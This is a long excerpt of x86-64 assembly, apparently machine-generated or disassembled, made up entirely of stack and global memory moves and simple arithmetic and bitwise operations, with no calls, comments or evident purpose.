movzx ecx, word [rsp + 0x12e0]
sar eax, cl
mov word [rsp + 0x13ec], ax
mov rax, qword [rsp + 0xc2b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
lea rax, [rsp + 0x55d4]
mov qword [rsp + 0xd510], rax
mov eax, dword [rsp + 0x51bc]
movzx ecx, al
mov eax, dword [rsp + 0x4e20]
shl eax, cl
mov dword [rsp + 0x5508], eax
lea rax, [rsp + 0xbad8]
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0xbdc8]
mov rcx, qword [rsp + 0xd498]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9398], rax
mov rax, qword [rsp + 0xa370]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb920]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b98]
mov byte [rcx], al
mov rax, qword [rsp + 0xa938]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd090]
mov byte [rcx], al
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0xd520], rax
mov rax, qword [rsp + 0xcaf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa4b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf3]
mov byte [rsp + 0x28d], al
mov eax, dword [rsp + 0x54f4]
mov ecx, dword [rsp + 0x51dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
lea rax, [rsp + 0x522c]
mov qword [rsp + 0xd528], rax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [rsp + 0xa5d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc900], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xc5e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcaa0], rax
movzx eax, byte [rsp + 0x1b1]
mov rcx, qword [rsp + 0xa2b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e70ef], al
movzx eax, word [rsp + 0x1414]
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0xac28]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb058]
mov byte [rcx], al
lea rax, [rsp + 0x1280]
mov qword [rsp + 0xd530], rax
movzx eax, word [rsp + 0x1190]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10c4], ax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xc5b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov dword [rsp + 0x5608], eax
mov rax, qword [rsp + 0xa588]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9b68]
mov qword [rsp + 0xd538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd538]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd3f8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x27a], al
movsx eax, word [rsp + 0x13fc]
mov rcx, qword [rsp + 0x8d90]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e7120], ax
movzx eax, word [rsp + 0x10ac]
mov rcx, qword [rsp + 0xc9c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11d8], ax
lea rax, [rsp + 0x1b4]
mov qword [rsp + 0xd548], rax
movsx eax, byte [rsp + 0x178]
movsx ecx, byte [rsp + 0x285]
add eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xd550], rax
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0x96f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa400], rax
lea rax, [rsp + 0x4ddc]
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xd1f0]
mov rcx, qword [rsp + 0x9940]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5294], eax
movzx eax, byte [rsp + 0x1d5]
mov rcx, qword [rsp + 0xc778]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0x1558]
mov qword [0x1401e90a8], rax
movzx eax, byte [rsp + 0x26e]
mov byte [rsp + 0x28e], al
mov rax, qword [rsp + 0xaad0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9968]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14bc], ax
lea rax, [rsp + 0xeb]
mov qword [rsp + 0xd560], rax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd058]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa790]
mov eax, dword [rax]
mov dword [rsp + 0x560c], eax
mov rax, qword [rsp + 0x9bc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa538]
mov dword [rcx], eax
movzx eax, word [rsp + 0x128c]
mov word [rsp + 0x17dc], ax
mov rax, qword [rsp + 0xa2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1640]
or eax, ecx
mov word [0x1401e8c34], ax
mov rax, qword [rsp + 0x9b88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
xor eax, ecx
mov byte [rsp + 0x12d], al
movsx eax, word [rsp + 0x1144]
movsx ecx, word [rsp + 0x150c]
shl eax, cl
mov word [rsp + 0x15d0], ax
movzx eax, word [rsp + 0x131c]
mov word [rsp + 0x17e0], ax
mov eax, dword [rsp + 0x4d00]
mov rcx, qword [rsp + 0xc1d0]
mov qword [rsp + 0xd568], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd568]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x50bc], eax
lea rax, [rsp + 0x95a8]
mov qword [rsp + 0xd570], rax
mov rax, qword [rsp + 0xb8e0]
mov rcx, qword [rsp + 0x9d00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53b4], eax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb838]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6e0], rax
lea rax, [rsp + 0x132]
mov qword [rsp + 0xd578], rax
lea rax, [rsp + 0x16f]
mov qword [0x1401e90b0], rax
mov rax, qword [rsp + 0xb830]
movzx eax, word [rax]
mov rcx, qword [0x1401e8d18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcbe0]
mov word [rcx], ax
movzx eax, word [rsp + 0x100c]
mov word [rsp + 0x17e4], ax
mov rax, qword [rsp + 0xcce0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1db], al
lea rax, [rsp + 0x1714]
mov qword [rsp + 0xd580], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xab38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc018]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5218]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc288]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa880]
mov eax, dword [rax]
mov dword [rsp + 0x5610], eax
mov rax, qword [rsp + 0xbe40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4b8], rax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0xb280]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e71f8], ax
movzx eax, byte [rsp + 0x102]
mov byte [rsp + 0x28f], al
mov rax, qword [rsp + 0x9560]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc688]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x238], al
movsx eax, byte [rsp + 0x1bb]
mov rcx, qword [rsp + 0x9fd0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x169], al
lea rax, [rsp + 0xe6]
mov qword [rsp + 0xd588], rax
mov rax, qword [rsp + 0xcea8]
movzx ecx, al
mov rax, qword [rsp + 0x9730]
shr rax, cl
mov qword [rsp + 0x9698], rax
mov eax, dword [rsp + 0x52ec]
mov dword [rsp + 0x5614], eax
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5314], eax
mov rax, qword [rsp + 0xb170]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9fc8]
shl rax, cl
mov rcx, qword [rsp + 0xb6d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
mov rcx, qword [0x1401e8da8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e8868]
mov word [rcx], ax
lea rax, [rsp + 0x137]
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xa878]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d8], ax
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0xd598], rax
movsx eax, word [rsp + 0x1414]
movsx ecx, word [rsp + 0x1780]
add eax, ecx
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0xa2e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0xbcc8]
mov eax, dword [rax]
mov dword [rsp + 0x5618], eax
mov eax, dword [rsp + 0x546c]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53e0], eax
lea rax, [rsp + 0xbad8]
mov qword [rsp + 0xd5a0], rax
lea rax, [rsp + 0xad]
mov qword [0x1401e90b8], rax
mov rax, qword [rsp + 0xc3a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1478]
sub eax, ecx
mov rcx, qword [rsp + 0xc9c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc1]
mov byte [rsp + 0x290], al
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0xb310]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14f0]
sub eax, ecx
mov word [rsp + 0x1260], ax
mov eax, dword [rsp + 0x545c]
mov dword [rsp + 0x561c], eax
mov rax, qword [rsp + 0xab38]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb488], rax
lea rax, [rsp + 0x53e4]
mov qword [rsp + 0xd5a8], rax
mov rax, qword [rsp + 0xb938]
mov rcx, qword [rsp + 0xb240]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb728]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1394]
add eax, ecx
mov word [0x1401e9060], ax
mov rax, qword [rsp + 0xd520]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b6]
sub eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov word [rsp + 0x17e8], ax
mov rax, qword [rsp + 0xd090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x246]
or eax, ecx
mov rcx, qword [rsp + 0xb2a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc1a8]
movzx eax, byte [rax]
mov byte [rsp + 0x291], al
mov eax, dword [rsp + 0x54c8]
movzx ecx, al
mov eax, dword [rsp + 0x4e40]
shr eax, cl
mov rcx, qword [rsp + 0x9408]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xac90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcfe8], rax
lea rax, [rsp + 0x93e0]
mov qword [rsp + 0xd5b0], rax
mov eax, dword [rsp + 0x4f50]
movzx ecx, al
mov eax, dword [rsp + 0x544c]
shl eax, cl
mov dword [rsp + 0x5368], eax
movsx eax, word [rsp + 0x14ec]
movsx ecx, word [0x1401e7088]
and eax, ecx
mov rcx, qword [0x1401e8f98]
mov word [rcx], ax
lea rax, [rsp + 0x1678]
mov qword [rsp + 0xd5b8], rax
movzx eax, word [rsp + 0x16f4]
mov rcx, qword [rsp + 0xa708]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc710]
mov word [rcx], ax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0xd5c0], rax
mov rax, qword [rsp + 0xc5a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb018]
mov word [rcx], ax
mov rax, qword [rsp + 0xa300]
mov rcx, qword [rsp + 0xafe8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
lea rax, [rsp + 0xc010]
mov qword [rsp + 0xd5c8], rax
mov rax, qword [rsp + 0xb8e0]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb6e0]
mov dword [rcx], eax
lea rax, [rsp + 0xcd60]
mov qword [rsp + 0xd5d0], rax
lea rax, [rsp + 0x213]
mov qword [0x1401e90c0], rax
movsx eax, byte [rsp + 0x145]
movsx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0x92e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd048]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
mov word [rsp + 0x17ec], ax
movzx eax, byte [0x1401e70ae]
mov rcx, qword [rsp + 0xd190]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9398]
mov qword [rsp + 0xd5d8], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0xaef0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa900], rax
mov eax, dword [rsp + 0x4ff4]
mov ecx, dword [rsp + 0x5334]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0xb2b0]
mov eax, dword [rax]
mov dword [rsp + 0x5620], eax
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x1190]
xor eax, ecx
mov rcx, qword [0x1401e8dc0]
mov word [rcx], ax
movsx eax, word [rsp + 0x17a8]
mov rcx, qword [rsp + 0xd360]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10a0], ax
movzx eax, byte [rsp + 0x200]
mov byte [rsp + 0x292], al
mov rax, qword [rsp + 0xb2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x283], al
mov rax, qword [0x1401e8938]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb000]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x9ab0]
mov eax, dword [rax]
mov dword [rsp + 0x5624], eax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa830]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8e0], rax
lea rax, [rsp + 0xb0a0]
mov qword [rsp + 0xd5e0], rax
mov rax, qword [rsp + 0x9f70]
mov rcx, qword [rsp + 0xbe08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5270], eax
lea rax, [rsp + 0x204]
mov qword [rsp + 0xd5e8], rax
lea rax, [0x1401e706a]
mov qword [0x1401e90c8], rax
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa060]
mov word [rcx], ax
mov rax, qword [rsp + 0xd418]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e4]
sub eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [0x1401e8830]
movzx eax, byte [rax]
mov byte [rsp + 0x293], al
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0xa868]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e28], rax
lea rax, [rsp + 0x517c]
mov qword [rsp + 0xd5f0], rax
mov rax, qword [rsp + 0xce98]
mov rcx, qword [rsp + 0xcd28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9860]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa070], rax
movzx eax, word [rsp + 0x1004]
mov word [rsp + 0x17f0], ax
mov rax, qword [rsp + 0x9500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x122c]
add eax, ecx
mov word [rsp + 0x1010], ax
lea rax, [rsp + 0x215]
mov qword [rsp + 0xd5f8], rax
mov rax, qword [0x1401e87b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x224]
add eax, ecx
mov byte [rsp + 0x204], al
mov eax, dword [rsp + 0x5434]
mov rcx, qword [rsp + 0xce98]
mov qword [rsp + 0xd600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd600]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9f48]
mov eax, dword [rax]
mov dword [rsp + 0x5628], eax
mov rax, qword [rsp + 0xb340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cc0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f98]
mov qword [rsp + 0xd608], rax
movzx eax, word [rsp + 0x16d0]
movzx ecx, word [rsp + 0x1498]
shl eax, cl
mov word [rsp + 0x120c], ax
movzx eax, byte [0x1401e70e3]
mov byte [0x1401e88f4], al
lea rax, [rsp + 0xb9]
mov qword [rsp + 0xd610], rax
movsx eax, word [rsp + 0x16c8]
mov rcx, qword [rsp + 0xd208]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x114c], ax
mov rax, qword [0x1401e8c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcaf8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov word [rcx], ax
lea rax, [rsp + 0xc7a8]
mov qword [rsp + 0xd618], rax
mov rax, qword [rsp + 0xab60]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5018]
mov dword [rsp + 0x5470], eax
mov eax, dword [rsp + 0x5138]
mov dword [rsp + 0x562c], eax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0xaa08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcff8], rax
movzx eax, word [rsp + 0x12b4]
mov rcx, qword [rsp + 0xb078]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0c8]
mov word [rcx], ax
mov rax, qword [0x1401e8960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x128]
sub eax, ecx
mov byte [0x1401e70f2], al
movzx eax, byte [rsp + 0x16b]
mov byte [rsp + 0x294], al
movsx eax, word [rsp + 0x10b8]
mov rcx, qword [rsp + 0xb010]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov word [rcx], ax
movzx eax, word [0x1401e70c0]
mov word [rsp + 0x17f4], ax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x229]
add eax, ecx
mov rcx, qword [rsp + 0x9548]
mov byte [rcx], al
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov dword [rsp + 0x5630], eax
mov rax, qword [rsp + 0xbe60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xabf0], rax
mov eax, dword [rsp + 0x4f18]
mov dword [rsp + 0x5634], eax
mov rax, qword [0x1401e8d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1024]
add eax, ecx
mov rcx, qword [0x1401e8828]
mov word [rcx], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x273]
sub eax, ecx
mov rcx, qword [rsp + 0xa078]
mov byte [rcx], al
mov rax, qword [rsp + 0xb6f0]
movsx eax, word [rax]
movsx ecx, word [0x1401e707c]
shl eax, cl
mov rcx, qword [rsp + 0x9ae8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x295], al
movsx eax, byte [rsp + 0x283]
movsx ecx, byte [rsp + 0x151]
xor eax, ecx
mov byte [rsp + 0x27f], al
lea rax, [rsp + 0xa488]
mov qword [rsp + 0xd620], rax
mov rax, qword [rsp + 0xac48]
mov eax, dword [rax]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd178]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa330]
mov eax, dword [rax]
mov dword [rsp + 0x5638], eax
mov rax, qword [0x1401e7018]
movzx ecx, al
mov rax, qword [rsp + 0xaac0]
shr rax, cl
mov rcx, qword [rsp + 0xba78]
mov qword [rcx], rax
lea rax, [rsp + 0x152c]
mov qword [0x1401e90d0], rax
mov rax, qword [rsp + 0x9720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf58]
movzx eax, byte [rax]
mov byte [rsp + 0x296], al
movsx eax, word [rsp + 0x1710]
mov rcx, qword [rsp + 0xb280]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc180]
mov word [rcx], ax
movzx eax, word [rsp + 0x13ac]
mov word [rsp + 0x17f8], ax
mov rax, qword [rsp + 0xb748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5318]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0xcd20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc190]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd498]
mov qword [rcx], rax
lea rax, [rsp + 0xb6b8]
mov qword [rsp + 0xd628], rax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xa788]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1eb]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [0x1401e703b], al
lea rax, [rsp + 0x1490]
mov qword [rsp + 0xd630], rax
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0x1068]
sub eax, ecx
mov word [rsp + 0x17dc], ax
mov rax, qword [rsp + 0x9548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e6]
and eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
lea rax, [rsp + 0x1474]
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xa278]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7b8], rax
mov rax, qword [rsp + 0xae38]
mov eax, dword [rax]
mov dword [rsp + 0x563c], eax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x500c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f68], eax
mov rax, qword [0x1401e7010]
movzx ecx, al
mov rax, qword [rsp + 0xc640]
sar rax, cl
mov qword [rsp + 0xb788], rax
movsx eax, word [rsp + 0x1080]
mov rcx, qword [rsp + 0xabe8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e71fc], ax
mov rax, qword [rsp + 0xd108]
movzx eax, word [rax]
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0xc450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
shl eax, cl
mov byte [rsp + 0x1c0], al
lea rax, [rsp + 0x267]
mov qword [rsp + 0xd640], rax
movsx eax, word [rsp + 0x175c]
mov rcx, qword [rsp + 0xb760]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0xcab0]
mov qword [rsp + 0xd648], rax
mov rax, qword [rsp + 0xb798]
mov ecx, dword [rsp + 0x50c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0xca70]
mov rcx, qword [rsp + 0x9028]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0xa558]
mov rax, qword [rax]
mov qword [rsp + 0xd650], rax
movzx eax, word [rsp + 0x13f8]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7100], ax
movsx eax, byte [rsp + 0x21a]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd150]
mov byte [rcx], al
movzx eax, byte [0x1401e70aa]
mov byte [rsp + 0x297], al
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb98]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0xc7], al
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x5640], eax
mov rax, qword [rsp + 0xd468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9c8]
mov rax, qword [rax]
mov qword [rsp + 0xd658], rax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0xc000]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x103]
and eax, ecx
mov byte [0x1401e70a2], al
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f4]
or eax, ecx
mov byte [rsp + 0x9e], al
lea rax, [rsp + 0x13f4]
mov qword [rsp + 0xd660], rax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ce]
xor eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
mov word [rsp + 0x1800], ax
mov rax, qword [rsp + 0xc2a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7010]
sar rax, cl
mov qword [rsp + 0xcf90], rax
lea rax, [rsp + 0x4fec]
mov qword [rsp + 0xd668], rax
mov eax, dword [rsp + 0x4f10]
mov rcx, qword [rsp + 0xc228]
mov qword [rsp + 0xd670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd670]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5054], eax
mov rax, qword [rsp + 0xa968]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd3c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaac0], rax
lea rax, [rsp + 0x1b5]
mov qword [0x1401e90d8], rax
movzx eax, word [rsp + 0x17e8]
mov word [rsp + 0x1804], ax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [0x1401e70be]
sub eax, ecx
